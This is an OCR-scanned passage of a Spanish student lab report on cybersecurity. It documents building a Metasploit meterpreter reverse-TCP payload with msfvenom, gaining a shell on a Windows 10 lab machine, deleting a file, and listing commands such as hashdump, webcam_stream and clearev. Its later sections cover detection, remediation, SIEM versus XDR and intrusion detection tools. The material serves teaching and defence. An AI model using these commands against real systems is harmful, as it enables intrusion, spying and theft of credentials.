una puerta trasera, para realizar un ataque que permita secuestrar la informacién de la
maquina.

Se pueden utilizar la maquina atacada para fines no legales ni éticos y comprometer la
reputacion de la empresa.
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4.5 DOCUMENTACION DEL LABORATORIO ANEXO 4 — ESCENARIO 3

A continuacién, se procede a desarrollar la practica descrita en el Anexo 4 — escenario 3.

4.5.1 Estado de la maquina Windows 10 para el desarrollo de la practica. Antes de
proceder con el desarrollo del laboratorio, se desactiva la seguridad de Windows
Defender de la maquina de Windows 10, esto se puede visualizar en la Figura 1, donde
se observa que se encuentra deshabilitado el andlisis de virus, asi como el firewall.

Figura 1. Deshabilitacion de sistemas de seguridad de Windows 10.

Seguridad de Windows
Seguridad de un vistazo
Consulta lo que esta sucediendo con la seguridad y el estado de
= dispositivo, y toma las medidas necesarias.
| fat  lInicio

Proteccion de cuentas

O Proteccién contra virus y amenazas G p
1
Q .

_ Proteccién contra virus y Proteccién de cuentas

o F 1l n

! CLTI R N6 amenazas Inicia sesi6n con Microsoft para

o La proteccidn en tiempo real esta mejorar la seguridad y disfrutar
B  Control de aplicaciones y explorador desactivada, Io que pone en de otras ventajas.
riesgo el dispositivo.
Seguridad del dispositivo I - 5
Activar
% Rendimiento y estado del dispositivo
Ignorar

£

Opciones de familia

3 |

h Firewall y proteccién de red Control de aplicaciones y
Los firewalls estin desactivados. gxplomdur
El dispositivo podria estar en La configuracién para bloguear
rnesgo. aplicaciones potencialmente no
deseadas estd desactivada. El
fgme dispositivo puede ser vulnerable.

& Configuracién Activar

Fuente: Elaboracion propia.

En la Figura 2, se puede observar que se encuentra el archivo de texto en la ruta del
escritorio de la maquina Windows 10, el cual tiene como nombre Mi Documento.

Figura 2. Archivo Mi Documento en el escritorio.

Fuente: Elaboracion propia.
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También se consulta la IP de dicha maquina y se puede ver en la Figura 3, que la IP
designada por el DHCP fue la 192.168.1.77.

Figura 3. IP de la maquina Windows 10.

Simbolo del sistema

Fuente: Elaboracion propia.

4.5.2 Ataque sobre la maquina Windows 10 utilizando Kali Linux. Para comenzar
con el ataque documentado en el Anexo 4, se procede a iniciar la maquina Kali Linux e
iniciar la terminal para poder ingresar los comandos de las herramientas MSFVNOM vy
METASPLOIT.

Antes de ingresar los comandos de MSFVNOM y METASPLOIT, se consulta la IP que
tiene asignada la maquina Kali Linux, ingresando el comando ifconfig en la terminal,
arrojando como resultado que se tiene la IP 192.168.1.75, ver Figura 4.

Figura 4. IP de la maquina Kali Linux.

| -~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.75 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::1229:40b3:3055:a2d8 prefixlen 64 scopeid 0x20<link>
inet6 2800:e2:c680:ef8:4273:61c@:af9a:dcca prefixlen 64 scopeid 0x0

Fuente: Elaboracion propia.

Ahora  si, se procede a ingresar el comando msfvenom -p
windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=192.168.1.75 LPORT=443 -f exe >>

/home/kali/Downloads/PoC_1045490406.exe en la Figura 5, se observa que el
comando se ejecuta satisfactoriamente.

27



Figura 5. Creacion de archivo .exe con msfvenom.

~

- f windows/x64/meterpreter/reverse_tcp latform windows -3 x64 LHOST=192.
168.1.75 LPORT=443 -f exe /home/kali/Downloads/PoC_1045490406.exe
No encoder specified, outputting raw payload

Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: Elaboracion propia.

Recordando lo leido en el Anexo 4 correspondiente al laboratorio las opciones utilizadas
en el comando descrito anterior mente corresponde a lo siguiente:

-p: Indica la carga util (payload) a usar en el ataque la cual sera sobre una arquitectura
x64 de sistema operativo Windows, esto generara un meterpreter por medio de una shell
del sistema.

--platform: Indica la plataforma que se desea atacar en este caso sera una Windows.

-a: Indica la arquitectura que se desea atacar, en el laboratorio se efectuara sobre una
arquitectura x64 pero también cuenta con soporte para x86.

LHOST: Indica la IP de la maquina atacante es decir la IP de la maquina Kali Linux.

LPORT: Indica el puerto por donde se dara la comunicacion con la maquina atacante, es
decir la maquina Kali Linux El puerto 443 corresponde al protocolo de HTTPS.

-f: Indica el formato del ejecutable que se generara.
>>: |ndica la ruta donde se guardara el archivo ejecutable que se generara.

Si vamos a la ruta /home/kali/Downloads/ donde se tuvo que haber guardado el archivo
PoC_1045490406.exe vemos por la Figura 6, que este se encuentra alli.

Figura 6. Archivo PoC_1045490406.exe en la carpeta de Descargas de Kali Linux.
File Edit View Go Bookmarks Help

4 A& ¢« Akl Downloads

Places
Computer .

B kel
e PoC_1045490406.
~ | Desktop exe

{3} Recent

' Trash

Documents

Music
Pictures
Videos

¢ Downloads

Fuente: Elaboracion propia.
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Para darle continuidad al laboratorio se procede a pasar el archivo ejecutable al sistema
Windows 10 por medio de la descarga desde una Nube, a la cual se subio el archivo, y
se ubica en la carpeta de Documentos, ver Figura 7.

Figura 7. Archivo PoC_1045490406.exe en la carpeta de Documentos de Windows 10.

s : 5 | Documentos - U X
m Inicio Compartir Vista 0
« * 4 = » Esteequipo > Documentos v O Buscar en Documentos
Nombre Fecha de modificacion Tipo Tamafio

» Acceso rapido
I Escritorio

& Descargas

“| Documentos

[%=] PoC_1045490406 26/2023 11:33 AM Aplicacion 7 KE

Fuente: Elaboracion propia.

Con el archivo en el sistema Windows 10, se procede a continuar con el laboratorio y
volvemos al sistema operativo Kali Linux para ejecutar en la terminal el comando
msfconsole, este comando permitira abrir la herramienta de Metasploit, ver Figura 8.
Esta herramienta se utilizara para conectarme a la maquina Windows 10 por medio de la
ejecucion del meterpreter y la comunicacion mediante una Shell.

Figura 8. Herramienta de Metasploit abierta en la terminal.
] kali@kali: ~

File Actions Edit View Help

https://metasploit.com

=[ metasploit v6.3.16-dev
+ — —=[ 2315 exploits - 1208 auxiliary - 412 post
+ — —=[ 975 payloads - 46 encoders - 11 nops
+ — —=[ 9 evasion

Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -

h\etasploit Documentation: https://docs.metasploit.com/

msf6 > i

Fuente: Elaboracioén propia.

Para obtener el acceso al sistema de la maquina Windows se debe ingresar los siguientes
comandos en la herramienta de Metasploit que se encuentra abierta en la terminal.
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use exploit/multi/handler es el exploit que se utilizara en el ataque.

set payload windows/x64/meterpreter/reverse_tcp este fue el mismo que se utilizé en
la creacién del archivo PoC_1045490406.exe.

set lhost 192.168.1.75 es la IP de la maquina de donde se esta ejecutando el ataque, es
decir la maquina Kali Linux.

set Iport 443 es el puerto que se configuro para establecer la comunicacion con la
magquina victima, cabe resaltar que el puerto debe estar abierto en las dos maquinas, es
por esto por lo que se utiliza el 443, que por lo general siempre esta abierto en las
computadoras.

exploit con este comando se procede a ejecutar el payload que permitird el ingreso y
control de la maquina de Windows 10.

En la terminal se observa que, una vez ingresado los comandos anteriormente
mencionados, se queda a la espera de la conexion con la otra maquina, es decir la
ejecucioén por parte del archivo desde la maquina de Windows 10, ver Figura 9.

Figura 9. Ejecucion de comandos en Metasploit.

msf6 > ploit/multi/ dl

/meterpreter/

)} > set lport 443

Started reverse TCP handler on 192.168.1.75:443

Fuente: Elaboracion propia.

Una vez se ejecuta el archivo se evidencia en la terminal de Kali Linux, que se establece
la conexion con la IP 192.168.1.77 que corresponde el sistema operativo Windows 10,
visualizar la Figura 10.

handler on 192
] ) to 192.1¢

7

4 by )
on 1 opened (192.

Fuente: Elaboracion propia.

Ya se puede ingresar comandos meterpreter que permiten visualizar las caracteristicas
del sistema como lo es el comando sysinfo, el cual muestra las caracteristicas de la
maquina de Windows 10. Como es la versién de Windows, su arquitectura, el idioma y el
nombre del grupo al que pertenece la maquina, ver Figura 11.
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Figura 11. Informacion de maquina Windows 10 desde Metasploit.

meterpreter » sysinfo
Computer IN1®
5 indows 1@ (10.@ Build 19@45).

0s

Fuente: Elaboracion propia.

Si se ingresa el comando Is se puede observar la ruta donde se encuentra el ejecutable
gue tiene el virus, que permito el control de la maquina, y también el nombre de usuario
gue ha iniciado sesion, si solo se desea saber la ubicacion actual se debe ingresar el
comando pwd, ver Figura 12.

Figura 12. Informacion del usuario y sus archivos en el sistema.

mete

uments

Name

Fuente: Elaboracion propia.

4.5.3 Comandos Meterpreter para llegar hasta el archivo de texto y eliminarlo. Con
el objetivo de finalizar el laboratorio y poder eliminar el archivo de texto que se encuentra
en el escritorio, partiendo del dltimo comando ingresado que fue Is donde se evidencia
gue se encuentra en la carpeta Documents, se deben ejecutar los siguientes comandos:

cd .. este comando me permite ir atras un nivel, lo que llevaria a estar en la raiz del
usuario y si vuelvo a ingresar el comando Is me mostraria las carpetas de la raiz del
usuario vboxusers, ver Figura 13.

Figura 13. Carpetas que se encuentran en la raiz del usuario vboxusers.

meterpreter > cd ..
meterpreter > 1ls
Listing: C:\Users\vboxuser

Mode Last modified Name
azggss/r—xr—xr— 2023-08-13 $A3e 3D Objects
;A0777/rwxrwxrw ir 2023-08-13 12:13: AppData
;u0777/rwxrwxrw ir 2023-08-13 $13: Configuracion local
;AOSSS/r—xr—xr— i 2023-08-13 :13: Contacts

X

040777 /TwXTWXTW i 2023-08-13 $13: Cookies

X

040777 /Twxrwxrw ir 2023-08-13 $13: Datos de programa
X

040555/r-Xr-xr- ir 2023-08-26 :38: Desktop

Fuente: Elaboracioén propia.
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Estando en la raiz puedo ingresar a la carpeta de escritorio por medio del comando cd
Desktop, si se vuelve a listar los archivos (Is) de esta carpeta se visualizara el archivo
de texto que se va a eliminar Mi Documento.txt, ver Figura 14.

Figura 14. Archivos de la carpeta escritorio.

meter > cd Desktop

oxuserh\Desktop

Size Type Last modified Name

fil 0 B ® Mi Documento.txt
fil 0 . pLe0 desktop.ini

Fuente: Elaboracion propia.

Para eliminar el archivo Mi Documento.txt en meterpreter se debe ingresar el comando
shell que me permite abrir una terminal de Windows. Ya en ella ingreso el comando del
"C:\Users\vboxuser\Desktop\Mi Documento.txt" de esta manera se estaria
eliminando el archivo del sistema.

Se puede observar que después de ingresado dicho comando ya no se encuentra en la
carpeta de escritorio, ver Figura 15. Tampoco se puede visualizar en la maquina de
Windows 10; incluso tampoco se encontrara en la papelera de reciclaje.

Figura 15. Eliminacion del archivo Mi Documento.txt.

meterpre

Channel 1

\Use
Document

o externo,

oxuser’\Desktop

Size Type Last modified Name

/TW-TW-TW- ] fil 20 3 12:13:47 -0400 desktop.ini

Fuente: Elaboracion propia.
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4.5.40tros comandos Meterpreter. Investigando en sitios web como KEEPCODING*!
encontré otros comandos que se pueden ejecutar en meterpreter y estos son los que se

observan en el Cuadro 2.

Cuadro 2. Otros comandos de meterpreter.

Comando Descripcion
help Lista todos los médulos y los comandos de Meterpreter
sysinfo Muestra informacién del equipo atacado
ipconfig Muestra la direccion IP del equipo
shell Accede a una terminal del sistema operativo para ingresar
comandos
search Busqueda de archivos en el equipo atacado
ps Listar los procesos del sistema
download Descargar archivos desde la maquina vulnerada
upload Sube archivos a la maquina vulnerada
clearev Elimina todos los eventos que hayan ocurrido en la maquina
backround Mantener la ejecucién de varios payloads en segundo plano
screenshot Obtiene una captura de pantalla del equipo y lo guarda en la

maquina atacante

webcam_stream

Ver una transmisién de la webcam del ordenador vulnerado

webcam_list

Muestra una lista con todos los dispositivos de webcam
conectados a la maquina

hashdump

Permite obtener las funciones hash de las contrasefias de los
usuarios del equipo

Fuente: Elaboracion propia.

11 KEEPCODING. [Sitio web]. Comandos de Meterpreter. [Consulta: 26 agosto 2023]. Disponible en:

https://keepcoding.io/blog/comandos-de-meterpreter/
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5. ETAPA 4 - CONTENCION DE ATAQUES INFORMATICOS

5.1 ¢ANTE UN ATAQUE INFORMATICO QUE PASOS SE PUEDEN TOMAR PARA
IDENTIFICAR DICHO ATAQUE?

Con el fin de identificar ataques de ciberseguridad se proponen los siguientes pasos:

Paso 1: Instalacién de un Honeypot!? en la red, para que sirva de sefiuelo frente adn
posible ataque, que me permita bloquear y estar atento ante cualquier atacante que
guiera comprometer los equipos, el sistema o servicios de la organizacion.

Paso 2: Mantener un constante monitoreo de la red y los equipos, esto con el fin de
detectar anomalias y amenazas que pueden estar circulando o estén presente en los
sistemas de informacion.

Para ello se debe hacer uso de herramientas de software como son los antivirus y
analizadores del trafico de red como Wireshark o un XDR (Deteccion y respuesta
ampliadas) que mas adelante estaremos hablando de ella.

Paso 3: Establecer reglas automaticas y criterios de busqueda especificos, con el fin de
identificar cambios significativos en la forma en que interactian los empleados o usuarios.
Las reglas o criterios también pueden identificar la cantidad de conexiones de red que
ocurren para las aplicaciones, la cantidad de datos que se transfieren entre direcciones
IP locales y externas o inicios de sesion extrafios durante horas inusuales.

Todas estas condiciones merecen una investigacion.

12 REDES ZONE. [Sitio web]. Qué es y para qué sirve un Honeypot. [Consulta: 15 septiembre 2023].
Disponible en: https://www.redeszone.net/tutoriales/seguridad/que-es-honeypot/
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5.2 PASOS QUE SE REALIZAN PARA SUBSANAR EL ATAQUE EJECUTADO EN
EL EJERCICIO DE RED TEAM CON UN PAYLOAD

Para subsanar el ataque que se efectuod en el ejercicio del Payload de la etapa anterior
se proponen los siguientes pasos.

Paso 1. Mantener activo y bien configurado el Firewall del equipo y de la red.

Paso 2: Tener actualizado el sistema operativo, asi como el antivirus y software que se
encuentran instalados en el equipo.

Paso 3: Configuracién y administracién de puertos abiertos en el equipo, esto con el fin
de optimizar su seguridad.

Paso 4: Segregacion de la red con el objetivo de aislar las areas de la organizacion y asi
evitar que no haya un escalado a otras dependencias que pueda comprometer
informaciones mucho mas valiosas por parte del atacante.

Paso 5: Establecer politicas que impidan la descarga e instalacion de software
maliciosos.

Paso 6: Tener backups de la informacion que se encuentra en los dispositivos, esto con
el objetivo de poder recuperarse lo antes posible frente a un secuestro o una pérdida de
esta.

Paso 7: Capacitaciones de ciberseguridad a los empleados de la compafiia, esto con el

fin de hacerles ver la importancia de tomar precauciones con el fin de salvaguardar la
informacion.
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5.3 ¢QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS DE BLUE TEAM Y RED TEAM CON EL PURPLE TEAM Y
EQUIPOS DE RESPUESTA A INCIDENTES INFORMATICOS?

Los equipos de Blue Team, Red Team, Purple Team y los equipos de respuesta a incidentes informaticos son componentes
clave en la ciberseguridad de una organizacién, pero estos tienen funciones y actividades diferentes que estaremos viendo

en el siguiente cuadro.

Cuadro 3. Diferencias entre los equipos de seguridad.

Equipos de
Blue Team Red Team Purple Team quipos de
respuesta aincid.
Facilitador entre la
Encargado de encontrar L
- comunicacion, el | Encargado de
Encargado de la | vulnerabilidades o] - . -
. . s ; . e rendimiento y la | solucionar incidentes y
Definicion seguridad defensiva en | puntos débiles en los o
las organizaciones sistemas de la efectividad que debe ataqugs reales en las
' oraanizacion haber en el Blue Team y | organizaciones.
9 ' el Red Team.
Mantener el sistema de Integrar las técnicas, | Enfocados en la
informacion seguro tacticas y | deteccién y respuesta
: AP rocedimientos ante  incidentes de
Realizar analisis foren P . .
. er:aa e ad?sspoosieﬁvzz Simular ataques ofensw_os como segurldad._ ,
Funciones atacados informaticos defensivos. Su objetivo es
Mantener. actualizado ‘ Documentar y tramitar | identificar, gestionar y
los sistemas de toda la informacién de | mitigar incidentes de
informacion los equipos Blue Teamy | seguridad en tiempo
' Red Team. real.
Implementar  controles Facilitar ejercicios de
de sequridad prueba de penetracién | Monitorear la red en
monitoreo%le la red Y| Realizar ingenieria | controlados. busca de actividad
Realizar au ditoriaé de social en los empleados | Colaborar en la mejora | sospechosa.
Actividades sequridad de la organizacion. de las defensas de | Investigar incidentes de
g ' . Utilizar herramientas y | seguridad. seguridad.
Mantener actualizados | .. .. . . ,
los sistemas y las tacticas de hacking. Contexto  de como Contener y erradicar
oliticas de sequridad atacar los  activos | amenazas.
P 9 ) criticos.

Fuente: Elaboracion propia.
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5.4 ¢QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY” DENTRO
DE EQUIPOS BLUETEAM?

De acuerdo con la definicibn que nos brinda el sitio web KEEPCODING CIS (Center For
Internet Security), "es una plataforma web sin animo de lucro que reudne una serie de
estandares y herramientas para garantizar la seguridad de los softwares que utilizan las
compaiiias y las personas a diario"*3. El CIS tiene una serie de iniciativas y programas
destinados a ayudar a las organizaciones a fortalecer sus medidas de seguridad en linea.

Es por esto por lo que es de gran importancia que sea conocido por los equipos de Blue
Team, ya que les permitird conocer herramientas que les ayudara a brindar seguridad y
robustecer los sistemas de informacién dentro de una organizacion.

Cabe mencionar que existen varias comunidades o programas dentro de CIS como se
observa en su sitio web oficial*4, las cuales son: CIS Controls, CIS Benchmarks, CIS
SecureSuite, MS-ISAC.

Podemos dar a conocer las siguientes funciones que tiene CIS dentro de los equipos.

e Brindar directrices y herramientas para el aseguramiento de la seguridad de la
informacion como es el caso de CIS Controls y CIS Benchmarks.

e Evaluar y auditar los sistemas y redes con el fin de identificar posibles debilidades
o configuraciones incorrectas que podrian ser explotadas por ciberdelincuentes.

e Obtener capacitacion y educacion en seguridad cibernética por medio de los
cursos, webinars y materiales educativos que ellos proporcionan.

e Fomentar la colaboracién y el intercambio de informacién entre profesionales de
la seguridad cibernética a través de las diferentes comunidades antes
mencionada.

5.4.1 ¢Qué se debe hacer para encontrar los tutoriales que posee CIS?
Para encontrar los tutoriales que proporciones CIS debemos dirigirnos a su sitio web
oficial que es https://www.cisecurity.org/ ver Figura 16.

13 KEEPCODING. [Sitio web]. ¢Qué es Center for Internet Security?. [Consulta: 15 septiembre 2023]. Disponible en:
https://keepcoding.io/blog/que-es-center-for-internet-security/

14 Center For Internet Security. [Sitio web]. CIS. [Consulta: 15 septiembre 2023]. Disponible en:
https://www.cisecurity.org
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Figura 16. Sitio web de CIS.
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Fuente: Elaboracion propia.

En la pagina de inicio hay opciones para ingresar a diferentes comunidades donde se
puede descargar sus recursos, como son los temas de CIS Controls, CIS Benchmarks,
CIS SecureSuit, MS-ISAC, ver Figura 17.

Figura 17. Comunidades de CIS.
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Fuente: Elaboracion propia.
También esta la opcidén de ir a la seccion de soluciones donde se encontraran las

diferentes secciones de seguridad que proporciona CIS, ya sea a nivel organizacional,
estatal, gubernamental o plataformas especificas, ver Figura 18.
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Figura 18. Seccion de soluciones del sitio web de CIS.
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Fuente: Elaboracion propia.

39

COMPANY ¥ SOLUTIONS v

INSIGHTS ¥ JOINCIS v

U.S. State, Local, Tribal & Territorial Governments

Memberships

MS-ISAC*
Cybersecurity resource for SLTT
Governments

E-ISAC*
Election-focused cyber defense suite
Elections

Election Security Tools And Resources
Sources to support the cybersecurity
needs of the election i

Services for Members

Albert Network Monitoring®
Cost-effective Intrusion Detection System

Managed Security Services
Security monitoring of enterprises devices

CIS Endpoint Security Services
Device-level p ion and resp

CIS CyberMarket®

Savings on training and software

Domain Blocking and
Reporting Plus

Prevent connection to harmful web
domains

VIEW ALL CIS SERVICES —>

o

VIEW ALL PRODUCTS & SERVICES —>



5.5 DIFERENCIAS EXISTENTES ENTRE SIEM Y XDR

El sistema SIEM (Security Information and Event Management) de acuerdo con lo que
informa ambit'®, permiten a las organizaciones actuar de manera inmediata y eficiente
ante los ciberatagues con el objetivo de afectar los sistemas de informaciéon que estas
poseen.

EL sitio de IBM'® manifiesta que SIEM se caracteriza por recopilar la mayor cantidad de
informacion de los dispositivos y aplicaciones en una base de datos para analizarla y asi
poder detectar comportamientos anémalos y no habituales en la red que permiten
detectar vulnerabilidades o amenazas y bloquearlas.

Segun Microsoft!” SIEM combina dos tecnologias de seguridad anteriores las cuales son
administracion de eventos de seguridad (SEM) la cual detecta patrones de acceso fuera
de lo comun en tiempo real, y la otra es la administracion informacion de seguridad (SIM),
esta centraliza los registros de seguridad para una interpretacion inmediata.

Por su parte XDR (Extended Detection and Response) “es una tecnologia de seguridad
multicapa que protege la infraestructura de TI. Para ello, recopila y correlaciona los datos
de multiples capas de seguridad, incluidos los endpoints, las aplicaciones, el correo
electronico, las nubes y las redes, para proporcionar una mayor visibilidad del entorno
tecnologico de una organizacién™®,

IBM'® menciona dentro de las ventajas de XDR que puede identificar las amenazas,
responder a ellas y resolverlas mas rapidamente, incluso todo esto puede generar una
reduccion en los costos de una filtracion de datos de las organizaciones que deciden
implementar XDR.

Alguna de las diferencias entre SIEM y XDR son:

Alcance y Enfoque.

e SIEM: Se centra en la recopilacion, correlacion y andlisis de registros y eventos de
seguridad de multiples fuentes en toda la infraestructura de TI de una
organizacion.

e XDR: Su enfoque va mas alla de la infraestructura de TI, ya que incorpora datos
de otras fuentes, como es los correo electronico y servicios en la nube.

Capacidad de Deteccion.

15 AMBIT.Sitio web]. ¢Qué es un sistema SIEM?. [Consulta: 16 septiembre 2023]. Disponible en:
https://www.ambit-bst.com/blog/qué-significa-siem-y-cémo-funciona

16 |IBM. [Sitio web]. ¢Cémo funciona SIEM?. [Consulta: 16 septiembre 2023]. Disponible en:
https://www.ibm.com/mx-es/topics/siem

17 MICROSOFT. [Sitio web]. Definicibn de SIEM. [Consulta: 16 septiembre 2023]. Disponible en:
https://www.microsoft.com/es-co/security/business/security-101/what-is-siem

18 KASPERSKY. [Sitio web]. XDR: significado y definicion. [Consulta: 16 septiembre 2023]. Disponible en:
https://latam.kaspersky.com/resource-center/definitions/what-is-xdr

191BM. [Sitio web]. ¢ Qué es XDR? [Consulta: 16 septiembre 2023]. Disponible en: https://www.ibm.com/es-

es/topics/xdr
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SIEM: Es efectivo en detectar eventos y anomalias basados en firmas y reglas
predefinidas. Se enfoca en identificar patrones conocidos de amenazas.

XDR: Usa analisis de comportamiento y deteccion de anomalias avanzadas para
identificar amenazas desconocidas y ataques sofisticados.

Integracion de Datos.

SIEM: Se integra principalmente con registros y eventos de seguridad, y puede
requerir una configuracion personalizada para integrar datos de otras fuentes.
XDR: Esta diseflado para integrarse con una variedad de fuentes de datos,
incluidos puntos finales, sistemas en la nube y aplicaciones, de manera mas
nativa.

Escalabilidad y Automatizacion.

SIEM: Puede requerir una configuracion y ajustes considerables para escalar y
automatizar eficazmente las tareas de seguridad.

XDR: Tiende a estar mejor preparado para la escalabilidad y la automatizacion, lo
gue facilita la gestion de grandes volumenes de datos y la automatizacion de
respuestas a amenazas.
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5.6 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS CON
LICENCIA GPL

Existen varias herramientas que pueden ayudar a detectar ataques informaticos que
cuentan con licencia GPL es decir de codigo abierto lo que permite modificar y distribuir
el software libremente.

5.6.1 Herramienta Snort?°. Es un IDS/IPS que se utiliza para el andlisis de trafico y
protocolos de red, tiene la capacidad de detectar y prevenir diferentes tipos de ataques,
esto debido a una serie de reglas predefinidas con las que cuenta.

Las caracteristicas que se destacan en Snort son:
e Deteccion de ataques y envio de alertas en tiempo real.
e Personalizacion de las Reglas ya que estas pueden ser creadas o personalizadas
por los administradores de seguridad.
e Flexibilidad para adaptarse a otros entornes de red.
e Integracion con otros sistemas de seguridad con el fin de fortalecer la seguridad
general de la red.

Snort es una herramienta muy reconocida y utilizada en el ambito de seguridad su
versatilidad y capacidad para adaptarse a diferentes necesidades de seguridad hacen
gue sea una herramienta atractiva para muchos administradores de sistemas y
profesionales de seguridad.

Figura 19. Sitio web de Snort.

Q  Rule Doc Search Documents Downloads Products Community Talos Resources Contact

© Gei Started

& Download Rules

W Documents
Upgrade Now

Fuente: Elaboracioén propia.

20 SNORT. [Sitio web]. What is Snort?. [Consulta: 17 septiembre 2023]. Disponible en: https://www.snort.org
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5.6.2

Herramienta Suricata. También es un IDS/IPS de alto rendimiento, fue

desarrollada y actualmente es mantenido por OSIF?! (Open Information Security
Foundation), “los analisis de trafico de red de Suricata se basan en una serie de reglas
predeterminadas que estan disefiadas especialmente para identificar malware y
actividades malignas en las comunicaciones de un sistema con internet.”??

Las ca
[ ]

racteristicas que se destacan en Suricata son:
Alto rendimiento a la hora de analizar el tréafico de red.

e Deteccion de amenazas y envio de alertas en tiempo real.
e Reglas personalizables, al igual que Snort, Suricata utiliza reglas para definir
patrones y firmas de amenazas.
e Compatibilidad con el protocolo IPv6.
¢ Integracion con otros sistemas de seguridad.
Figura 20. Sitio web de OSIF.
== O0ISF

Fuente

The Open Information Security Foundation is 2 501(c)3 nonprofit organization created
to build community and to support open source security technologies like Suricata, the
world-class IDS/IPS network monitoring engine.

ndation (OISF) is dedicated to

ecurity technolo; communi

em thriv Qur team and our technalo

o

security, usability, and efficiency.

CONTACT OISF
MEET THE TEAM

DOWNLOAD

: Elaboracion propia.

21 OPEN INFORMATION SECURITY FOUNDATION. [Sitio web]. OSIF. [Consulta: 17 septiembre 2023]. Disponible en:
https://oisf.net

22 KEEP

CODING. [Sitio web]. ¢(Qué es Suricata en ciberseguridad?. [Consulta: 17 septiembre 2023].

https://keepcoding.io/blog/que-es-suricata-en-cibersequridad/ CIBERSEGURIDAD. [Sitio web]. .QUE ES CVE?

EXPLICACION DE LAS VULNERABILIDADES Y EXPOSICIONES COMUNES. [Consulta: 11 de agosto 2023].

Disponible en: https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-

comunes/
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5.6.3 Herramienta AIDE (Advanced Intrusion Detection Environment). Es una
herramienta que escanea sistemas de archivos en busca de cambios no autorizados y
genera alertas si detecta modificaciones sospechosas. Es Util para la deteccién de
intrusiones basada en el sistema de archivos.

La manera en que puede realizar esa deteccion de cambios es que AIDE crea una base
de datos de archivos en la ejecucion inicial y luego se comprueba con dicha base de
datos en las siguientes ejecuciones.

Algo que se debe tener en cuenta en esta herramienta es que la base de datos que crea
inicialmente se almacena en el sistema de archivos raiz, y un atacante podria modificarla
facilmente para buscar ocultar su intrusion al sistema, es por esto por lo que se
recomienda realizar una copia de la base de datos y realizar comprobaciones contra dicha
copia peridédicamente.
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6. ETAPA 5 - SOCIALIZACION DE INFORME TECNICO

6.1 DE QUE MANERA PUEDEN APORTAR EN EL CAMPO DE LA
CIBERSEGURIDAD LA INTEGRACION DE EQUIPOS BLUE TEAM, RED TEAM
Y PURPLE TEAM AL MISMO TIEMPO DENTRO DE UNA ORGANIZACION

La unificacion de equipos Blue Tam, Red Team y Purple Team en una organizacion es
una de las mejores estrategias en el campo de la ciberseguridad. cada uno de los antes
mencionados desempefia un papel de suma importancia en la evaluacién y mejora de la
seguridad de la empresa. Su aporte sera de gran colaboracién y de alto beneficio en la
proteccion de datos.

Los tres elementos antes mencionados aportan cada uno de una forma diferente, a
continuacién una pequefia descripcion de sus aportes:

Blue Team: Se centraliza en la defensa cibernética, mantienen y desarrollan las defensas
de seguridad en la organizacion. Esto implica la configuracion y el mantenimiento de
firewalls, sistemas de deteccion de intrusiones y antivirus, entre otros. Su principal
objetivo es identificar y mitigar posibles dafos.

Red Team: Su trabajo consiste en simular ataques para por medio de herramientas y
técnicas de pentesting con el fin detectar vulnerabilidades en los sistemas de informacion.
Es decir desde la perspectiva de un ataque real identificar las debilidades en el campo
de la ciberseguridad de una organizacion.

Purple Team: Su funcién principal es la unificacion de los equipos de Blue Team y Red
Team, en otras palabras es un puente que conecta ambos equipos con el propdsito de
coordinar, unificar e intercambiar informacion que luego se transforma en acciones
concretas para el proceso de seguridad de la informacion.

La unificacién de estos tres elementos le contribuye a una organizacién una vigilancia y

mejora continua de la seguridad informética, lo cual es de vital importancia para
mantenerse y crecer, también permite una mejor asignacion de recursos y esfuerzos.
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6.2 POLITICAS DE SEGURIDAD Y RECOMENDACIONES PARA MEJORAR LOS
ASPECTOS DE CIBERSEGURIDAD EN CUALQUIER ORGANIZACION EN SUS
ENTORNOS T.I.

La ciberseguridad es en la actualidad uno de los temas de mucha importancia, ya que
este campo se ve expuesto a multiples amenazas, por lo anterior es de vital importancia
la implementacion de politicas de seguridad firmes y recomendaciones para establecer
planes de trabajo que respondan a las necesidades de seguridad en las organizaciones
como:

Establecer politicas de acceso basadas en el principio de "menos privilegios", que
aseguren que los usuarios y sistemas solo tengan acceso a los recursos necesarios para
sus funciones.

Establecer reglas claras para la configuracion de Firewall, deteccion de intrusiones y
monitoreo de trafico de red.

Utilizar autenticacion de multiples factores (MFA) para reforzar la seguridad de las
cuentas que se utilizan en la organizacion.

Segmentar la red para limitar la propagacion de amenazas que se puedan presentar en
la organizacion.

Aplicar cifrado para proteger datos confidenciales tanto en reposo como en transito. Esto
incluye el cifrado de disco, comunicaciones seguras y el uso de VPN.

Mantener los sistemas y software actualizados mediante politicas de parches regulares,
tener los sistemas y software desactualizados pueden ser vulnerables a exploits que ya
ha sido identificados es decir que ya cuentan con un CVE.

Contar con la preparacion del equipo de TI, para incidentes de seguridad con una politica
de respuesta que detalle los pasos a seguir en caso de una brecha de seguridad.

Implementar politicas de copia de seguridad robustas, continuas y planes de
recuperacion de desastres para proteger contra pérdidas de datos, estas copias de
seguridad también deben ser probadas con regularidad para comprobar su efectividad.

Realizar auditorias de seguridad internas y externas, pruebas de penetracion regulares
para identificar y corregir debilidades que se puedan tener en la organizacion.
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6.3 ASPECTOS IMPORTANTES EN CUANTO A LA |INVERSION DE

CIBERSEGURIDAD DENTRO DE LAS ORGANIZACIONES

Hoy en dia ha sido tan creciente las situaciones en donde son a tacados los sistemas de
informacion de las organizaciones, cada vez se escucha o se leen noticias donde se
evidencian esta problematica, por ello es de suma importancia una inversién en
ciberseguridad, ya que esta sera de gran impacto para la organizacion o empresa.

Algunos aspectos importantes para considerar de este tema son:

La reputacién de las organizaciones; es por lo que se debe asignar el presupuesto
adecuado que garantice un nivel de seguridad aceptable en estas.

Contar con personal capacitado y expertos en ciberseguridad, que pueden
proporcionar capacitaciones a las diferentes areas de la organizacion y sabran
actuar frente a las amenazas y ataques por parte de los ciberdelincuentes.

Dotar de tecnologia y herramientas de seguridad como firewalls avanzados,
sistemas de deteccién de intrusiones, soluciones de gestion de identidades y
acceso (IAM) y antivirus actualizados, es esencial, ya que ayuda a fortalecer la
seguridad en la organizacién y a proteger los activos y la reputacion de la
organizacion.

